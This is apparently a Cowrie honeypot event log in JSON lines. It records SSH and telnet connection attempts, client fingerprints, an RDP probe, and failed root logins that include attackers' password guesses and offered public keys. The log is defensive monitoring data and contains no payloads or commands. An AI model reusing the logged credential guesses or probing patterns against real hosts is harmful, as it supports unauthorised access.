{"eventid":"cowrie.session.closed","duration":3.555248498916626,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:42.027824Z","src_ip":"186.195.16.41","session":"b881082a68ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37292,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc0a74bbee52","protocol":"ssh","message":"New connection: 103.82.132.16:37292 (159.203.135.109:22) [session: dc0a74bbee52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:49.961465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:49.966033Z","src_ip":"103.82.132.16","session":"dc0a74bbee52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:50.226147Z","src_ip":"103.82.132.16","session":"dc0a74bbee52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdopi123_","message":"login attempt [root/asdopi123_] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:51.007855Z","src_ip":"103.82.132.16","session":"dc0a74bbee52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:52.271379Z","src_ip":"103.82.132.16","session":"dc0a74bbee52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.43172574043274,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:53.801934Z","src_ip":"192.119.13.58","session":"3ad9efbb36e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.389468908309937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:12.243209Z","src_ip":"192.119.13.58","session":"849d580c01d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":36362,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa05621b53f","protocol":"telnet","message":"New connection: 186.195.16.41:36362 (159.203.135.109:23) [session: 9fa05621b53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:27.041466Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59504,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc9ca0ee22b4","protocol":"telnet","message":"New connection: 192.119.13.58:59504 (10.17.0.5:23) [session: fc9ca0ee22b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:34.161595Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.247.148","src_port":39657,"dst_ip":"159.203.135.109","dst_port":23,"session":"d067a77f8f93","protocol":"telnet","message":"New connection: 138.99.247.148:39657 (159.203.135.109:23) [session: d067a77f8f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:38.859013Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.247.148","src_port":16594,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4981a2c8c8a","protocol":"telnet","message":"New connection: 138.99.247.148:16594 (159.203.135.109:23) [session: b4981a2c8c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:41.777768Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59816,"dst_ip":"10.17.0.5","dst_port":23,"session":"71208d37d410","protocol":"telnet","message":"New connection: 192.119.13.58:59816 (10.17.0.5:23) [session: 71208d37d410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:42.332024Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.247.148","src_port":51967,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9e8c378d08a","protocol":"telnet","message":"New connection: 138.99.247.148:51967 (159.203.135.109:23) [session: e9e8c378d08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:42.509725Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46588,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc4331737b36","protocol":"telnet","message":"New connection: 192.119.13.58:46588 (10.17.0.5:23) [session: bc4331737b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:51.370396Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55301,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1eadbf57b7e","protocol":"ssh","message":"New connection: 152.42.212.128:55301 (159.203.135.109:22) [session: a1eadbf57b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:53.245365Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:53.249960Z","src_ip":"152.42.212.128","session":"a1eadbf57b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:26:53.259379Z","src_ip":"152.42.212.128","session":"a1eadbf57b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.454333543777466,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:12.615827Z","src_ip":"192.119.13.58","session":"fc9ca0ee22b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141900539398193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:13.473719Z","src_ip":"192.119.13.58","session":"71208d37d410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50192,"dst_ip":"159.203.135.109","dst_port":22,"session":"944ebcc29e9b","protocol":"ssh","message":"New connection: 194.113.233.25:50192 (159.203.135.109:22) [session: 944ebcc29e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:15.468408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:15.473627Z","src_ip":"194.113.233.25","session":"944ebcc29e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:15.563853Z","src_ip":"194.113.233.25","session":"944ebcc29e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:15.839867Z","src_ip":"194.113.233.25","session":"944ebcc29e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:16.934872Z","src_ip":"194.113.233.25","session":"944ebcc29e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.59.21.62","src_port":52976,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6d7d58e8943","protocol":"ssh","message":"New connection: 216.59.21.62:52976 (10.17.0.5:22) [session: a6d7d58e8943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.557334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.562897Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.585994Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:dc:9e:d6:23:10:e1:c3:9f:80:a6:3b:0a:32:dd:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3m60hRrgJWWTh7V7Q1qk6DGqbeXTNGuUGu4HhG0sK/ds3QKCngZesXBfo6MgofUJJUx/xZ4pGe84CnCat/mfnNP4svU74YsLhKMLQcwCYU9+kAuwWUPJqjxenJ8LlUghhDNuDWaxQ/m05QIAzYngyVQ9ybeJpnU+0Hg359p+Covm6yJQYaNxZWl/K5J5wgFmyAxfpoxQftsOoZE1SV4PgDdJhtP60BliH6phwQKha5UyXCvdu1Luib1ZX+ALKb3rUQElJNLUGEVq4KuUnQsc4jxHaKhul0bfvfP6dmrp346xGNyZVQbN0/1XxCOB5isjQSxjjVh1yb8XdKdjPY91J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:dc:9e:d6:23:10:e1:c3:9f:80:a6:3b:0a:32:dd:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.698625Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:dc:9e:d6:23:10:e1:c3:9f:80:a6:3b:0a:32:dd:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3m60hRrgJWWTh7V7Q1qk6DGqbeXTNGuUGu4HhG0sK/ds3QKCngZesXBfo6MgofUJJUx/xZ4pGe84CnCat/mfnNP4svU74YsLhKMLQcwCYU9+kAuwWUPJqjxenJ8LlUghhDNuDWaxQ/m05QIAzYngyVQ9ybeJpnU+0Hg359p+Covm6yJQYaNxZWl/K5J5wgFmyAxfpoxQftsOoZE1SV4PgDdJhtP60BliH6phwQKha5UyXCvdu1Luib1ZX+ALKb3rUQElJNLUGEVq4KuUnQsc4jxHaKhul0bfvfP6dmrp346xGNyZVQbN0/1XxCOB5isjQSxjjVh1yb8XdKdjPY91J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.702477Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:b9:86:26:80:b4:2d:8b:f0:55:f1:45:7a:aa:62:a2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM+D4M46KrBWoSS2PWQgFuRnMxx9SmqFHSNBCP/uhgnO","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 69:b9:86:26:80:b4:2d:8b:f0:55:f1:45:7a:aa:62:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.729885Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:b9:86:26:80:b4:2d:8b:f0:55:f1:45:7a:aa:62:a2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM+D4M46KrBWoSS2PWQgFuRnMxx9SmqFHSNBCP/uhgnO","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.734362Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:38:8b:a4:67:b2:f9:95:5b:61:40:b0:c9:2a:af:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAHCKeXxKJVY6kwBDo0DBV2scViA1LnbwXrjPBbs++9qITFQVc8nxKKBKsrHmc5vcJKBNBgDoA5y4J2Gc50Vw3V14tYsoSAlOnCK9Wy/GIjwOIUga6qJ5hlvpVKuhIV/OOP22sJ10e4Nbqqf4EzlEbtrJ+iZMrETn4n4qFpuxBPCDG6yhmlhH10zVjIH9OwfkfbWen4jT/krCYcFiQOaNOkRtkRcBJrsupBvSMjvu5h+o8sFSdtLz8N0VPh1kD7J9lvOe6dqGJKNd5DNpeHZPWR3ycHNEWqiFKz1PavYALirP4xx/7dImRxVVoij8+5N9gFLCuIdyGKZ1a7PbrKtZ2l7uc7gkO+idvkj3Px4W7DfiKBNPweGBCVv853gZjBPJrpBBeXoqR+VFqUr0S7N8pgzpAOi+uta0cYyw9ydcL9pa7b/VQCgKxs8e87seOjDZNtFEOFNqZ/gCW06BoXAKMDBTd88Zs4YQd8oQ4g0J4Y9KRM3G/1SbZGWS3/Gtz3Fc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:38:8b:a4:67:b2:f9:95:5b:61:40:b0:c9:2a:af:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.761925Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:38:8b:a4:67:b2:f9:95:5b:61:40:b0:c9:2a:af:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAHCKeXxKJVY6kwBDo0DBV2scViA1LnbwXrjPBbs++9qITFQVc8nxKKBKsrHmc5vcJKBNBgDoA5y4J2Gc50Vw3V14tYsoSAlOnCK9Wy/GIjwOIUga6qJ5hlvpVKuhIV/OOP22sJ10e4Nbqqf4EzlEbtrJ+iZMrETn4n4qFpuxBPCDG6yhmlhH10zVjIH9OwfkfbWen4jT/krCYcFiQOaNOkRtkRcBJrsupBvSMjvu5h+o8sFSdtLz8N0VPh1kD7J9lvOe6dqGJKNd5DNpeHZPWR3ycHNEWqiFKz1PavYALirP4xx/7dImRxVVoij8+5N9gFLCuIdyGKZ1a7PbrKtZ2l7uc7gkO+idvkj3Px4W7DfiKBNPweGBCVv853gZjBPJrpBBeXoqR+VFqUr0S7N8pgzpAOi+uta0cYyw9ydcL9pa7b/VQCgKxs8e87seOjDZNtFEOFNqZ/gCW06BoXAKMDBTd88Zs4YQd8oQ4g0J4Y9KRM3G/1SbZGWS3/Gtz3Fc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.766218Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:3e:f8:01:b4:5d:d9:a5:e7:85:d2:5c:07:f0:06:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCv5Jkh2/yFyLhm5Qvri+RnH9s8qOBFqIvVtu8COLnuqei5LPyKCDBJyhMz79or8bVaTQlkyXvp/ZCAvQ2IGPdk0iwOzFgXq3ziTHvlLFYsMgZH5bIJT9+G6GXgRdESsa0IurhIr3OJDx/OVIvy1Jpp7i9PxL2QWPS/fbpGrkYEdD2/AzIw5r77CxU+3r/6v1EAo19z3Kx22OTLmZqwJhn+HZG+f3/uxRd7WN+fdhtdNk9JkTqXSRJ/6hs3DoYvhkbvXd+aZVUnJx5Xi5vSnSRShu7jyNEemNKe/ewjTnKVr99F1U+7DLerldxt/1yHhGT+oymWFY8jtQP6RkBYw6Ch","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:3e:f8:01:b4:5d:d9:a5:e7:85:d2:5c:07:f0:06:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.794511Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:3e:f8:01:b4:5d:d9:a5:e7:85:d2:5c:07:f0:06:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCv5Jkh2/yFyLhm5Qvri+RnH9s8qOBFqIvVtu8COLnuqei5LPyKCDBJyhMz79or8bVaTQlkyXvp/ZCAvQ2IGPdk0iwOzFgXq3ziTHvlLFYsMgZH5bIJT9+G6GXgRdESsa0IurhIr3OJDx/OVIvy1Jpp7i9PxL2QWPS/fbpGrkYEdD2/AzIw5r77CxU+3r/6v1EAo19z3Kx22OTLmZqwJhn+HZG+f3/uxRd7WN+fdhtdNk9JkTqXSRJ/6hs3DoYvhkbvXd+aZVUnJx5Xi5vSnSRShu7jyNEemNKe/ewjTnKVr99F1U+7DLerldxt/1yHhGT+oymWFY8jtQP6RkBYw6Ch","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.798658Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:c4:d4:40:5b:6c:b3:a5:98:da:bb:31:4d:38:3d:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiMt0O1YHgbcZp34BwINPhGxh9dDIJjskU2cdUjXcgOAN0bBlgkGUJxM1/CeytOe19ktdWmMC2h6kCqHvu2V0Su2xg7XVArgZAU4bGbPYNbiUhgDWOll5I7dtI2RXiryffFRcGOdgr3VlLsZHUjG5m5Os1xRHDgAsDwlTuWQKe2IoL2IuKDDQ5vlmShdfRONv/Y96/AgiQ7l/Xdts0SQ5ET0apOa5iF7E++mzZsgQOxGSTfzbm/8lueAqQahALQGtBTAZwSFfN7hZJhC4CglGYCBf2DrFyX7/QdEMKIb5jH1kuMwB3IMIGVB6t8OTyTAd2VOTAUMWzQ1y/RdX2RnpJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:c4:d4:40:5b:6c:b3:a5:98:da:bb:31:4d:38:3d:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.828907Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:c4:d4:40:5b:6c:b3:a5:98:da:bb:31:4d:38:3d:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiMt0O1YHgbcZp34BwINPhGxh9dDIJjskU2cdUjXcgOAN0bBlgkGUJxM1/CeytOe19ktdWmMC2h6kCqHvu2V0Su2xg7XVArgZAU4bGbPYNbiUhgDWOll5I7dtI2RXiryffFRcGOdgr3VlLsZHUjG5m5Os1xRHDgAsDwlTuWQKe2IoL2IuKDDQ5vlmShdfRONv/Y96/AgiQ7l/Xdts0SQ5ET0apOa5iF7E++mzZsgQOxGSTfzbm/8lueAqQahALQGtBTAZwSFfN7hZJhC4CglGYCBf2DrFyX7/QdEMKIb5jH1kuMwB3IMIGVB6t8OTyTAd2VOTAUMWzQ1y/RdX2RnpJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.833502Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:19.865956Z","src_ip":"216.59.21.62","session":"a6d7d58e8943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.89403009414673,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:39.264291Z","src_ip":"192.119.13.58","session":"bc4331737b36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":40572,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea20daee6c8","protocol":"telnet","message":"New connection: 186.195.16.41:40572 (159.203.135.109:23) [session: 5ea20daee6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:48.767168Z"}
{"eventid":"cowrie.session.closed","duration":83.46131348609924,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:50.502652Z","src_ip":"186.195.16.41","session":"9fa05621b53f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":40900,"dst_ip":"159.203.135.109","dst_port":23,"session":"89b15b9d09bc","protocol":"telnet","message":"New connection: 186.195.16.41:40900 (159.203.135.109:23) [session: 89b15b9d09bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:54.878565Z"}
